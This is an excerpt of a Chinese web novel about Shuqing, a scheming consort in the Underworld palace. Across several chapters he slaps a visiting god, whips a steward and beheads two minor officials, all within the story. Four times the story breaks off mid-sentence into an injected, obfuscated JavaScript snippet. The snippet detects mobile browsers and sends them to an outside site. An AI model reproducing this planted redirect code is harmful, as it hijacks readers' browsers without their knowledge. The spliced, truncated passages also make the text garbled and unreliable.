实际他根本没什么实权,不过仗着冥王玩弄般的宠爱,狐假虎威罢了。 但也足够了。 他就是想让所有人都害怕他。 “我又没说要罚你,起来吧,既然是殿下的要求,我不为难你。而且你今天让我心情不错,这件事不怪你。” “……” 侍女跪在地上,不敢相信自己听到了什么。 是因为刚才夸了他漂亮? 这让他心情不错? “还不起来?难道你就喜欢跪着?” 侍女连忙起身:“……多谢小仙。” “我今天想去花园走走,去叫个画师过来。” “……是。” 漱清寻常的爱好不多,除了打扮自己,就是摆弄花花草草。 冥界多少风景都激不起他的兴趣,唯独花草异样繁盛,是仙界都不曾有的锦簇妖冶。 以前都是趁有空的时候,漱清才能偷偷来这里待会儿,现在倒成了消磨时间的地方。 漱清坐在假石上,花团锦簇将他围绕,不远便是冥界内画技最好的画师,正在为他作画。 半炷香的时间,又完成一幅,递到漱清面前:“还请小仙过目。” 漱清看了看,脸上难得露出温和的笑意:“不错。” 不愧是冥界最好的画师,笔触惟妙惟肖,栩栩如生,连漱清眉眼的细节都传神逼真。 画师松了口气,不动声色擦掉额头上的汗珠。 “已经画很久了,想必小仙也乏了,不如先休息片刻。” 侍女端上茶水点心:“小仙也该吃点东西了。” 倒不是关心他。 而是起床到现在,漱清滴水未进,东西更是一口不吃。 谁知道他到底饿不饿。 可万一饿到发脾气了,倒霉的又是他们。 漱清看着面前的画,心情好,自然就好说话,都答应了:“好。” 虽然压根没胃口,什么都不想吃,但还是伸手接过酥点,浅浅尝了两口。 “回去将这幅画挂到我的房间。” “是。” 其实论画技,原来冥界还有一位更好的画师。 可惜对方厌恶漱清,不仅故意丑化漱清的容貌模样,还当面咒骂他是以色侍人的下作胚子,只会魅惑冥王,应该被千刀万剐。 真的很可惜。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560090|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本漱清是真心喜欢对方的画技。 气氛正难得平静着。 突然不远处传来一道陌生的声音:“许久不来冥界,什么时候多了这么一位小美人。” 听着似乎还有点距离,可漱清一扭头,对方瞬间就到眼前,吓他一跳。 是他从没见过的家伙。 一身锦衣华服,风姿绰约,仙气飘然,瞧着就很厉害的样子。 应该是哪位仙家。 大概率是冥王的兄弟。 果不其然,下一秒,身旁的侍女弯身行礼:“见过山神殿下。” 虽然漱清从没见过,但他刚到冥界就将这些先了解过一遍,知道这是冥王的六弟,跟冥王的关系不算太好。 漱清便也行了个礼:“见过殿下。” “不必多礼。” 山神看着漱清,眼角噙笑,看上去挺友善的模样。 “你是什么时候来的小美人,先前怎么从没见过你?” “……” 就是语气轻佻,毫无尊重可言,像在逛窑子似的。 漱清能感受到对方的不怀好意,烦躁的情绪瞬间开始在胸口蔓延。 刚咽下没多久的酥点成了负担,此刻令他想吐。 但没办法。 对方是神仙,是冥王的兄弟,往前一站就是身份等级上的绝对压制。 而且真论起来,说的话也不算过分,漱清想翻脸都不能理直气壮。 “殿下说笑了,小人怎敢扰了殿下的眼,小人先退下了。” 刚要后退,手腕却被对方一把捏住:“我想想,听说四哥新收了房里人,该不会就是你吧?” “……” “果真是你?四哥真是好福气。” 漱清试图将手抽回来,奈何对方抓很紧,他们的力量本又不对等,挣脱几回都是徒劳。 “……殿下自重。” “呵呵。” 山神冷笑几声,察觉到漱清想要挣脱,瞬间更收紧了力度,直接将他甩到自己面前,还凑脸上去。 “别着急啊小美人。” “……” “进来这一路,我可听说了你的不少传闻,据说四哥对你相当宠爱?” “这么多年了,还是头一回见四哥收房里人,我很好奇,莫非你是有什么特别的驭房之术?” 啪—— 话音还未完全落下,清脆的巴掌声便已响起。 漱清没能控制住自己。 心口一团怒火燃烧,烧光了他所有的理智。 谁叫对方将脸凑得那么近,谁叫他还有一只手空着,巴掌根本控制不住,自动挥了过去。 “……你敢打我?!”山神登时怒火中烧,“我杀了你这个贱人!” 5. 第 5 章 这一巴掌下去,其实漱清自己心里都是有些懵跟慌的。 竟然敢对山神动手。 大概够他死个千百回了。 可打都打了,手就这么动起来了,他也没办法。 山神怒不可遏,一把就将漱清甩开,接着抽出佩剑,再无废话,直直朝着漱清劈去。 砰—— 漱清力量不及山神,眼见剑身就这么朝着自己而来,想躲却躯体僵直,只下意识闭上了眼。 但担忧中的疼痛没有降临,他甚至没有摔在地上。 有股熟悉的气味将他围绕,漱清又猛地睁开双眼,竟是冥王及时出现,不仅扶住了差点摔倒的他,还将山神的利剑挡了回去。 冥王侧头看他,眼神凌厉。 四目相对。 漱清难得心虚地避开视线。 也不知自己该松气还是更紧张。 对山神动手乃是大不敬,他算什么身份,不过冥王房里一个不上台面的小玩意儿罢了。 怕是冥王自己,都不能这么对山神动手吧。 漱清觉得自己该紧张一下。 冥王大概很难站他这边。 仙君那么照顾他,这方面待他都是公事公办,绝不徇私,更不用说平日那么蔑视他,还喜欢折磨他的冥王了。 但也不能放弃抵抗,就这么乖乖认罚。 漱清站稳后,连忙抱住冥王手臂,努力想要挤出泪水,做出十分害怕的模样。 心脏砰砰直跳。 可真害怕的时候,反而挤不出眼泪了,连话都说不顺畅。 漱清只弱弱喊了声:“殿下……” 冥王没有推开他的双手,任由他这么抱着自己。 眼神上下打量一番,突然冷笑出声,脸上简直明晃晃写着:原来你也会害怕?刚才那一巴掌不是挺神气的? “四哥,你来得正好,这贱人竟然敢对我动手!让我杀了他!” 漱清赶紧往冥王身后一缩。 该示弱时就示弱。 向山神求饶是不可能的,只有紧紧扒住冥王,现在只有冥王能救他了。 漱清赶紧想办法,脑袋飞速思考,搜寻着自己该用什么方式激起冥王的同情跟保护。 结果什么都还没做,就听着冥王朝山神开口:“你真是疯了,竟敢跑到我这里撒野。” 不仅山神懵了,漱清更是懵了。 这大变态…… 居然向着自己说话? “……四哥!” “你还知道我是你四哥?跑到我的地盘舞刀弄剑,还想杀我的人,你未免也太猖狂了。” 漱清默默听着。 看来论颠倒黑白的本事,冥王也远在他之上。 山神怒道:“他动手打我,你可看见了?!你肯定看到了!” “这个贱人居然敢打我,今天不要了他的命,就不能消除我心头怒火!” 漱清捏着冥王的衣服,听着冥王语气镇定地说下去:“他打你一下能有多疼,就当被猫挠了一下,你堂堂山神,难道还要跟这么一个小东西过不去吗?” 以下犯上的大不敬行为,被冥王三两言语一说,成了好像山神在为一桩小事不依不挠。 漱清震惊到忘了紧张。 原来冥王……是会护短的性格? “……四哥!难道为了这么一个小东西,你便不顾我们兄弟之情了吗!” 冥王静默不语,似乎陷入了思考。 漱清还抱着他的手臂,心里很没底,怕冥王被说服。 感觉到冥王在收回衣袖,似乎要将手臂从他怀里抽出去时,漱清真实心慌了一下。 好在视线对上那瞬,漱清火速反应过来,马上松开双手,随即做出浑身发软的样子,直接趴坐在地。 “殿下,我是被逼无奈才动手的!还请殿下为我做主!” 接着又抓住冥王的衣服下摆。 “殿下,我冤枉!一切都是山神殿下羞辱在先!” “……贱人,还敢胡言乱语,我现在就杀了你!” 但有冥王挡在前,山神再气急败坏都没用,漱清很安全。 冥王看向漱清,语气低沉:“休得胡言乱语。” 漱清忙道:“……殿下,我句句属实!如有半句虚言,叫我立刻挫骨扬灰!” “殿下,我冤枉!殿下为我做主!” 发誓要有用的话,漱清早就死过几万回了。 “别急着句句喊冤,到底怎么回事,你先说来听听,要真是你冒犯山神在先,本王定不会轻易饶你。” 视线又短暂交汇半秒,冥王眼神怎么都像是在说:赶紧狡辩吧,你平时不是很会狡辩吗? 漱清已经反应过来了,一切借口便也张口就来:“殿下,是我在这边赏花作画,山神殿下突然来到,我与山神殿下并不相识,正欲退下,不料山神殿下强行动手,上来抓住了我的手腕。” 可惜没能挤出一滴眼泪。 “山神殿下言语轻浮,开口便说我得冥王宠爱,是颇懂驭房之术!” 冥王挑了挑眉尾,看向山神。 山神更是恼羞成怒:“……你,你胡说!” 怎么都想不到漱清敢明晃晃地将这些话说出来。 山神怒骂:“……你这个贱人,你要不要脸!这种话都敢说!” 漱清大声回道:“山神殿下言语轻薄,不顾仙家风范在先!这些话是山神殿下说的,明明是山神殿下羞辱欺负了我,我有什么不敢说!” 漱清看向冥王:“殿下,这里所有人都能作证,我并没有招惹山神殿下,是山神殿下先过来的!而我准备退下的时候,也是山神殿下不让我走的!” 事实就是如此。 哪怕没人愿意作证,可至少没人敢得罪漱清作假。 而侍女反应最快:“冥王殿下,奴婢能够作证,小仙并没有招惹山神殿下。” 冥王看向侍女:“山神殿下当真说了那些话?” 侍女一顿:“……山神殿下拉走了小仙,离小仙太近,至于他们说了什么,奴婢没能听清。” 不论是真是假,这么回答究竟是不是不敢得罪山神,都给了漱清极大的发挥空间。 没人听清就好了。 漱清迅速打断:“山神殿下侮辱我就算了,我人微言轻,不过是个小玩意儿……可山神殿下又出言侮辱冥王殿下,我着急维护冥王殿下名誉,这才没忍住动了手!” 冥王都听笑了:“你着急维护本王?” 其实漱清自己也想笑。 但这么好的机会来了,他必须抓住。 “山神殿下出言不逊,说冥王殿下心狠手辣,阴晴不定,十足恶鬼心肠……我落在殿下手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560091|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迟早香消玉殒,命绝于此。” “山神殿下又说自己必不会如此,是懂怜香惜玉的……让我,让我……让我跟他了!我不愿意,山神殿下不依不挠,这才有了后面的事!” “……你胡说!你血口喷人,我什么时候说过这些话了!就该一剑杀了你!” “山神殿下既然敢说,怎么就不敢认呢!这么着急杀掉我,难道不是为了毁尸灭迹吗!” “——你!” “殿下救我!” “好了,都给我住嘴!” 夹在两人中间,冥王殿下怒声打住了这吵吵嚷嚷的场面。 先看向山神:“在外面又吵又闹,像什么样子,你跟我过来。” 随后看了看漱清,吩咐身边的奴仆:“带他回去,没有本王的命令,不准他再出来。” 漱清一通胡言乱语,将冥王大骂一通,成功搅混局面。 谁管山神有没有说,反正他对漱清动手了,言语挑衅在先,现在漱清这么说,他就有了嫌疑。 山神只能忿忿地跟着冥王离开。 漱清也被带了回去。 待到入夜时分,冥王才回来。 漱清心虚得很,因此没睡,只是先换了衣服,坐在床边等着冥王回来。 冥王踏进房间,便见小蝴蝶长发披散,只穿着件粉色里衣的模样。 灯光昏昏,照着小蝴蝶皮肤很白,眼眸则是黑溜溜的,盛满水汽,眼角微微下压,无论抬眼看谁,都是一副天然无辜的可怜模样。 谁能想到,就是这张柔弱委屈的皮囊下,藏着那么尖锐凶狠的心计。 “殿下……” 又开始了又开始了。 声音再压一压,谁听了都会心软颤抖。 冥王看着他纤细的身躯,白皙的脖颈,心底突然泛起一股狠戾念头,很想伸手掐住这根脖子,试试用多大的力能够捏断。 “你还有脸在这里等我?” “……” “你那点小花招,真当我看不出来?将本王骂了个遍,心里可还畅快?” 漱清下意识后退两步。 骂的时候只顾着爽了,毕竟机会难得,现在面对面算账,他不得不服软。 “我怎敢骂殿下,那都是山神殿下说的……就算殿下借我十个胆子,我也不敢骂殿下的……” 但这样的借口已经说了,那漱清必须坚持到底,哪怕面对冥王,都不会改变这份说辞。 “你真以为我信你那些鬼话?” “都是真的,我没有撒谎……可殿下若是不信,那我也没办法……” 谁知道冥王会怎么处理他。 万一他承认了,结果冥王反而抓住这点发挥呢? 漱清只是不得不防。 面对冥王,他能自保的方式太少,而需要戒备的地方太多了。 冥王冷笑:“连山神你都敢打了,还有什么是你不敢做的?” 冥王了解漱清,也了解山神。 不管漱清那些话里几分真假,但山神觊觎他的美貌,出言轻薄调戏肯定是真。 这只小蝴蝶,天天打扮得花枝招展,藏都藏不住,不想引人惦记都难。 “滚回你自己那里去睡。” 冥王心底莫名烦躁,冷冷说道:“以后不准你再去花园,再有下一次,我打断你的腿。” 6. 第 6 章 漱清失宠了。 他被冥王赶回原先住的偏殿后,连着三天过去,冥王都没来找他。 而他对山神动手的事情也在冥界传开,越传越夸张,最初还是还原的一巴掌,传到后来就成了他暴打山神,竟将山神打了个半死不活。 但不管传闻变得有多离谱,冥界众鬼对此最终评价是一致的:这个仗着冥王宠爱就胡作非为的下作男妾,终于闯出大货,被冥王厌弃了。 “小仙也别太伤心,冥王殿下只是还在气头上,等气消就好了。” “……” 伺候他的侍女叫春梨,平时几乎不问不答,总是一副对他感到惧怕的模样。 现在竟然都开口安慰他了。 漱清觉得自己是该振作点了,连侍女都觉得他是在为“失宠”伤心,沦落到这一步,简直比成为冥王的男妾还凄惨。 “小仙这几日都不曾好好吃过东西,不管怎样,还是该吃点吧。” “……” 难道就是因为他这几日吃少了,所以侍女觉得他是在为“失宠”这件事茶饭不思? 漱清倒想解释,自己不想吃纯粹是没胃口。 这也不是最近三日才有的,还睡在正殿那会儿就这样了。 但想了想,还是不解释了。 有些解释只会越描越黑,侍女认定了他是因为“失宠”难过,那不管他怎么解释,最后都会变成嘴硬掩饰。 虽然因此有点憋屈,但漱清忍了,瞥了眼侍女端上来的早膳,犹犹豫豫好一会儿,选了最清淡的白粥。 无奈真是没有任何胃口。 漱清也不知道这是怎么了,反正这几天不吃也不觉得饿,勺子舀了好几圈,假装要吃的样子,实际一口没吃。 “……对了,我要你去取的银子呢?” 冥王待他大方,从不在物质方面苛待他,珍宝绫罗要多少有多少,钱财也是,需要了就从管家那里去拿。 漱清暂时没什么用钱的地方,但他会定期攒一点,每次数量都不多,不会引人怀疑,可加在一起足够应对不时之需。 侍女叹气:“我昨儿就去了,结果大管家说最近殿内支出大,每笔都安排了重要去向,暂时没多余的能给小仙,要委屈小仙再多等一段时间了。” “……” 明摆着是在针对他。 漱清又不是要金山银山,这么大的冥界,竟连一点多余的银子都拿不出来? 说出去真是不怕被人笑死。 漱清冷笑了一声。 他知道,大管家仇视他,将他当作眼中钉。 原因也简单,最初自己还在冥界底层摸爬打滚时,就是大管家提携的他,觉得他能力出众,才派他到了冥王身边伺候。 结果他转头就“爬上”冥王的床,成了冥王房里人,直接将大管家踩到了脚底下。 随后还仗着冥王宠爱胡作非为,先后惩罚过不少人,其中好几个都是大管家的得力手下。 梁子就这么结下了。 这回漱清将山神打了,被冥王冷落了,所有人都觉得他的好日子到头了,大管家便迫不及待地想要压回他这一头了。 “小仙也别生气……兴许是冥王殿下还在气头上,大家是不敢惹殿下不快,等到殿下气消就好了……” “……” 本来心头是真有几分不爽,可听着侍女说完这些,漱清又只剩下无奈。 不管什么,统统都往“失宠”的方向上带。 漱清笑了笑:“……你是在安慰我吗?” 侍女顿住。 漱清话说得很直接:“我还以为我‘失宠’了,你也应该感到高兴。” “……” 侍女连忙低下头,轮到她不知如何回答了。 换作之前肯定是这样没错。 都说冥王殿下阴晴不定,但贴身伺候过漱清后,春梨觉得这位男妾也差不多。 动不动就惩罚那个处置这个。 搞得大家人心惶惶,伺候时特别小心翼翼。 直到他动手打了山神。 当时那场面真是差点把她吓死,心想就算有冥王宠爱,也不能狂妄到这种份上吧。 可反应过来后,春梨心里就多了几分对漱清的佩服。 原来以为他只是个欺软怕硬的妖精,专挑他们下人动手。 没想到漱清竟是一视同仁,不管对方是谁,除了冥王殿下外,谁敢惹他不快,他就敢跟谁动手。 顺着这点再想,春梨后知后觉,其实漱清动手处置的,都是背地里嚼过他舌根的,每次都有因有理,并不是没事找事。 相较之下,冥王殿下的脾气更加不好,用来对待漱清的手段也更过分。 如果漱清真是不讲道理,会胡乱迁怒的性格,那贴身伺候的自己早就不知死几回了。 但她还是好好的。 其实平时漱清就是性子冷淡点,说话语气差点,其他也没什么了,并不算多难伺候。 春梨停顿了一会儿,嘴巴笨,不会说好听的话,只是将刚才那句话又重复一遍。 “……奴婢还是以为,等冥王殿下气消,就好了。” “我可是将山神打了,你亲眼见到的。” “奴婢是亲眼见到不假,但其实,其实……” 春梨勇敢说出来。 “虽然这话乃大不敬,怎么都轮不到奴婢来说……但奴婢心里觉得,真心觉得,小仙打得好……” 对此,漱清是真意外了。 “是吗?” 侍女点点头:“小仙不知道,山神殿下跟我们冥王殿下虽是兄弟,关系却并不融洽。” 这些背景漱清都知道。 但他没打断侍女的话。 突然安慰他,又为他说话,他怎么知道侍女安的什么心? 眼下正是一个很好的验证机会。 漱清便装着不知:“是吗?” “山神殿下很嫉妒冥王殿下,明明都是天君之子,当年陪着天君一同征战,收服天地,结果冥王殿下得到了整个冥界,掌管万物生死,他却只是被封为山神。” “每次来了这里,表面看上去和和气气,实则各种含沙射影,吹毛求疵,很为难我们这些下人。” 春梨越说越愤恨。 “像对待小仙这样的事,实际也不是第一起了。” 那漱清就不知道了。 他来冥界不过一年,先前都没见过山神,能事先打听清楚他跟冥王的真实关系已是不易,这种秘闻很难窥探。 “嗯?” “先前殿内还有一个侍女,就是被那山神看上,强行占有带走了。” “如今也不知她是生是死……” 漱清很敏锐:“你们关系很好?” 春梨低声应道:“……是,我们都在冥界长大,从小亲如姐妹。” 难怪。 那天她敢突然开口为自己作证,大概就是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560092|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样吧。 “……所以我觉得,小仙打得好,小仙那些话也没说错,明明是山神不顾身份在先,怎可怪到小仙身上呢?” 最后又是那句。 “冥王殿下当然也能想明白的,只是还在气头上,等气消就好了。” 漱清从无奈听到发笑。 站起身来:“我要出去一趟。” “……现在?小仙还没吃东西呢?” 漱清实在没胃口,闻多了甚至还有些反胃:“等回来了再吃吧,叫厨房准备点甜的,我不爱吃这些。” “……是。” 被冥王“冷落”几天,漱清就在偏殿待了几天,大门不出二门不迈,不知道的以为他还被禁足了。 事实是漱清懒得动弹。 没胃口吃东西,也没什么精神活动,整个人懒洋洋又疲惫困乏。 看着很像生病了,但奇怪的是,身体又没有任何疼痛不适,灵力甚至还更强了些。 漱清没深究原因。 他想当然地认为是环境影响,来到这么不正常的地方,害得他也不正常了。 走出偏殿,门口站岗的两个侍卫跟上了他。 这是从未有过的待遇。 漱清停下脚步:“你们跟着我做什么?” 侍卫公事公办地回答:“奉冥王殿下之命,保护小仙。” “……” 什么保护。 监视看管才对吧。 生怕他又动手打到什么人? 派两个侍卫跟着,趁他发疯之前就把他按住? 漱清心里冷哼,不过算了,只是跟着他,不是关着不让他外出,已经很好了。 漱清没再搭理,转身便走,一路朝着大管家的院子过去。 不管他是不是“失宠”,只要跟冥王的关系还在,就不会任由别人欺负小瞧他。 有本事冥王真废了他,将他赶出冥界,那他说不准还要谢谢冥王,能让他提前回去仙山呢。 漱清并没为这件事太生气,可他必须表现出生气的样子,带着侍卫,一路气势汹汹到了大管家的院子。 大管家正好也从外面回来,在院子门口与漱清相遇。 见到漱清,大管家不慌不忙,眼神语气还都有些高高在上。 “哟,今儿吹得哪路风,小仙怎么到我——” 啪—— 话未说完,漱清便从衣袖里抽出了一根细长的鞭子。 动作快如闪电,呼啸着割裂了空气,径直甩到大管家脸上,仅一击就甩的大管家满嘴是血。 “……你,你!你竟敢打我!” 大管家捂着痛极的脸,看着满手的鲜血,不敢置信漱清竟说动手就动手。 跟着漱清的护卫也懵了。 冥王要他们看好漱清,不准他再胡作非为,可漱清的速度太快了,谁来都不可能阻止。 此刻还不得不上前一步,将漱清护在身后。 毕竟这是冥王的人。 看上去简直就像来给漱清助威加势的了。 抽完人,漱清慢条斯理地拿出块帕子,擦着鞭子沾上的血迹。 “要这么点银子都拿不出来,亏你还是大管家,到底怎么管的?这一鞭,算我代冥王殿下教训你了。” “今天就把银子给我送过去,要不然,我明天还来抽你。” 漱清恶狠狠地说:“几日不给我,我就来抽你几日,有本事你去殿下面前告我啊?” 7.第 7 章 就是知道大管家肯定不敢向冥王告状,所以漱清才敢如此嚣张。 连自己要的这点银子都拿不出来,真闹到冥王面前,估计冥王都不是用鞭子抽他这么简单了。 擦干鞭子上的血迹,漱清掌心驭火,直接将帕子烧成灰烬。 再看一眼挡在身前的两个护卫,自己都觉得好笑。 这哪里像失宠男妾该有的待遇? 出行有护卫跟着,打人有护卫挡着,怎么看都正得宠。 冥王还是不够了解他。 如果漱清是老实本分的性子,找人看管确实能成为一种束缚。 但漱清从没本分过,那这招就不起效了。 何止不起效,简直还像成了一种助纣为虐。 规矩只对守规矩的人生效。 而他这样的身份,更适合肆意妄为。 大管家再气都不敢对漱清还手,但也没立刻卑微屈膝地向他保证什么,就这么忿忿地沉默着对峙。 将人抽的满嘴是血,漱清感觉心情好了不少。 稍稍往前走一步,但没有跃过护卫的位置——要被护卫压回去,丢脸的就是他了。 漱清只是捏着鞭子抬起手,指了指大管家所在的位置。 大管家瞬间面色发白,又往后退了两步。 漱清心情就更好了。 嘴角扬起笑意,带着嘲讽说道:“以后我要什么,你就给什么,记好了。” 说罢,扬着华贵的衣摆转身离去。 更不像失宠该有的样子了。 怎么看都得意张扬,风头正盛。 护卫跟在他身后,怎么想都觉得很不对劲。 他们真是来看管漱清的吗? 这算看管吗? 难道不是在为他的嚣张任性保驾护航吗? 漱清本来只是为了教训大管家,但回去经过一处庭院时,意外撞见两个小管事正在殴打一个奴仆的场面。 这事不算罕见。 毕竟这是在冥界,众鬼当道,恶鬼穿行,有时惩戒手段是该“无情”些,才能更好维持秩序。 漱清会停下脚步,也不是对被殴打的奴仆起了恻隐之心,而是认出了这两个小管事——其中一个,是大管家的亲信。 谁叫大管家敢触他霉头,漱清又不是什么心胸宽阔的人,迁怒他人简直理所当然。 漱清转步要朝那边过去,护卫连忙挡住:“小仙请留步。” 明显是过去挑事的。 自然得出面制止。 漱清瞪他:“你敢管我?” “……” 护卫当然也不敢。 就算漱清眼下是真失宠了,可谁敢保证没有复宠那天呢? 到时倒霉的就是自己了。 护卫低头抱拳:“属下只是奉冥王殿下之命保护小仙,自然不是管制小仙。” “还请小仙回去吧。” 拿出冥王压他。 一般人大概率就妥协了,但漱清的字典里没有这两个字。 “怎么,难道是冥王殿下说的,保护原来是软禁的意思,不准我在外面逛逛?” “……” “既然我没有遇上危险,暂时就不需要你保护,你给我让开。” “……” 护卫左右为难,不敢让,也不敢不让。 漱清声音更冷了些:“怎么,你还真想管我?” “属下只是奉冥王殿下之命……” “那你现在就去向冥王殿下复命,问清楚了我是不是连逛逛都不行,问清楚后再来干活。” 漱清冷哼:“连这点东西都搞不清楚,真不明白冥王殿下怎么会派你过来。” “……” 这么一说,仿佛护卫是什么很没用的存在。 “要不让开,要不去找冥王复命,不然我也不介意抽你几鞭子。” 护卫相信他是真敢抽。 而且不管漱清动手抽他几下,他都不能反击。 又不能去找冥王复命,几经犹豫反复,最后护卫只能让道:“……小仙请逛,属下就在一旁保护。” 漱清瞥了对方一眼,冷哼出声,大步朝前走去。 不远处,两个小管事仍在殴打奴仆。 “打死你这没良心的畜生,好心留你一条命在这,还赏你口饭吃,你个小畜生,竟敢在背后偷偷阴我?” “你个丑八怪,我看真打死算了,一了百了。” 两人拳打脚踢,躺在地上的奴仆蜷缩成一团,褪色老旧的衣服上,已经渗开了血迹。 “住手。” 漱清走到边上,出声制止。 “这是在做什么,怎将人打成这样?” 两个小管事这才停下,转身看到是漱清,眼神都掠过几丝不屑,不情不愿地行礼:“见过小仙。” 他们跟大管家是一伙的。 大管家已经敢正面针对漱清,手下的小喽啰自然不逞多让,气焰还更加嚣张,更不将漱清放在眼里。 仗势欺人都这样。 漱清很了解。 因为他也这样。 冥王殿下的治人手法虽然粗暴严厉,却也赏罚分明,公平得当。 可漱清仗着冥王殿下的势,向来随心所欲,想一出是一出,得罪谁就是谁。 漱清看不爽这两个家伙也很久了。 背地里都没少传播他的流言蜚语。 先前一直没能当面抓到证据,今天可算有了这个机会。 “回小仙话,不是什么要紧大事,只是在惩罚一个坏事的下人罢了。” 话回得还算恭敬,但语气透着些许不耐,含义也就变了,似乎在暗讽漱清的多管闲事。 漱清听出来了,心底冷笑,机会这不就来了? 他更不能走了。 躺在的地上奴仆还蜷缩着,只稍微打开了一些身体,但漱清看清了他的脸,有道巨大的伤疤横穿全脸,看上去恐怖丑陋。 “这是谁?”漱清问,“我怎么从没见过他?” 其中一个小管事回答:“这是前些日子才来的下人,原不是冥界的人,外面来的孤魂野鬼罢了,看他可怜,才收留他在这里当了个差。” 说到这里打住就没事了。 可真心想膈应谁的时候,这种冲动也是压不住的,小管事非要接着说下去。 “小仙不认得也很正常,这是小仙高升后才来的……何况殿内多少伺候的下人,难道小仙要个个认得不成?” “……” 这话就很有攻击性。 既暗示漱清原本也是下人,又讽刺他管太多。 护卫都听得心脏一惊。 回想大管家被抽到满嘴是血的模样,他感觉这两个小管事被抽也是迟早的事。 可漱清竟没发火。 表情未变,语气波澜不惊:“他是犯了什么罪,何苦将他打成这样?” “这家伙手脚不干净,偷了我们不少东西,被抓现行还死不承认,所以才在这里罚他,将他打了一顿。” 漱清道:“都已经打成这样了,也算惩罚过了,赶出去就是了。” 小管事都敢当面内涵讽刺他了,见漱清没有任何反击,更不可能服从他的安排。 “处理这种恶仆是我们的职责所在,不劳小仙费心。” 漱清保持和平:“不费心,我只是觉得这样该够了。他看上去已经吃到苦头了,再赶出去就是了。” 但这话从漱清口中出来,跟笑话没什么两样。 有个小管事立刻回道:“比起小仙的手段,我们这都不算什么,这顿打是他该挨的。” 漱清一顿:“……你这话是什么意思?” 小管事不是没接触过漱清。 之前那般狂妄高傲,不过是个给冥王暖床的下作男妾,看架势真把自己当成后院的主人了。 但这几日他失宠了,看上去明显弱势不少,还装上善良大度了? 难道是想用这种方式挽回之前的声誉?重新获得冥王殿下的宠爱? 呸。 就只会这点花花肠子,真叫人看不起。 小管事从内涵试探步步过分,发现漱清真没了先前的狂妄,都不敢还他嘴了,回应时的语气更加不屑。 “小仙之前的手段有多残酷,整个冥界谁人不知?我们这点小小惩戒,放在小仙面前不过是班门弄斧罢了。” 漱清皱眉:“……你怎么敢这么跟我说话?!” 看上去像是生气了。 “就不怕我让冥王殿下惩罚你们吗!” 只有护卫心惊肉跳,不明白这只小蝴蝶到底在盘算什么。 刚才一下就将大管家抽得满嘴是血,毫不手软,丝毫不惧。 现在怎么可能忍受一个小管事在言语上奚落讽刺他。 绝对别有目的。 十成不是好事。 护卫仔细观察着漱清的每个动作细节,这回势必在漱清抽出鞭子时将他制止。 “我们不过在做分内之事,何罪之有?” 听到漱清还敢搬出冥王殿下,小管事更加不屑。 “倒是小仙自己,也该早些认清现实了,说不准就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567450|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小仙先前太过残暴,才会招致冥王殿下厌弃。” 漱清看上去像是恼羞成怒:“……谁说殿下厌弃我了?!” 小管事更不掩饰恶意:“现在还有谁不知道吗,小仙已经被——” 哗啦—— 话未说完,小管事的嘴巴还张着,眼睛也睁着,但下一秒,头颅就跟身体分家,从脖子上坠落在地。 没有溅射出血迹,也没有血肉模糊的场景,而是干干净净,在头颅落地的瞬间,连着身体同时化为灰烬。 “啊啊啊啊啊啊——” 另一个小管事见此场景,惊愣几秒后,恐惧地放声尖叫。 哗啦—— 再下一秒,他的头颅也利落坠地,化成第二堆灰烬。 很干净的灰飞烟灭。 漱清转着手腕,把玩长剑熟练,扔回护卫怀里:“怕脏了我的鞭子,所以借你剑用用,喏,还给你了。” “…………” 护卫僵在原地,不敢置信地看着被扔回来的长剑。 都已经猜到了漱清肯定会有所行动,他都已经做好了准备,时刻紧张关注着。 千防万防,还是没能防住。 这回漱清没有突然抽出鞭子了,而是突然抽出了自己的佩剑,速度之快,决定之突兀,完全让人来不及反应。 等护卫反应过来时,一个小管事已经被灰飞烟灭。 还没开口说一句话,另一个小管事也灰飞烟灭。 这叫人怎么阻止? 换谁来都来不及阻止吧? 护卫彻底傻眼了。 说不严重吗? 漱清抬手就结束了两条性命,简直心狠手辣,什么都不管不顾。 可要说严重吗? 